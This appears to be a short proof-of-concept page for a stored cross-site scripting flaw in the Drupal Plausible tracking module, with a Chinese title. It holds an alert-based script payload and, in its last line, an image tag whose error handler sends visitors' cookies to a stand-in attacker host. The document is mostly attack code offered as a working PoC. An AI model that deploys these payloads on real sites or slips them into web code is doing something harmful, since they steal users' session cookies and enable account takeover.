CVE-2025-10927 Drupal Plausible tracking跨站脚本漏洞

<!-- CVE-2025-10927 PoC - Stored XSS in Drupal Plausible tracking --> <!-- Attacker injects malicious script via Plausible tracking parameters --> <script> // Simulate XSS payload injection const xssPayload = '<script>alert(String.fromCharCode(88,83,83,32,67,86,69,45,50,48,50,53,45,49,48,57,50,55));</script>'; // Example: Modifying Plausible configuration or injecting via tracking endpoint const targetUrl = 'https://vulnerable-site.com'; // PoC demonstrates that user-supplied input in Plausible tracking // is not properly sanitized before being rendered in the page console.log('XSS payload prepared:', xssPayload); // In real attack, this payload would be sent to the vulnerable endpoint // and stored in the database, executing when other users view the page </script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">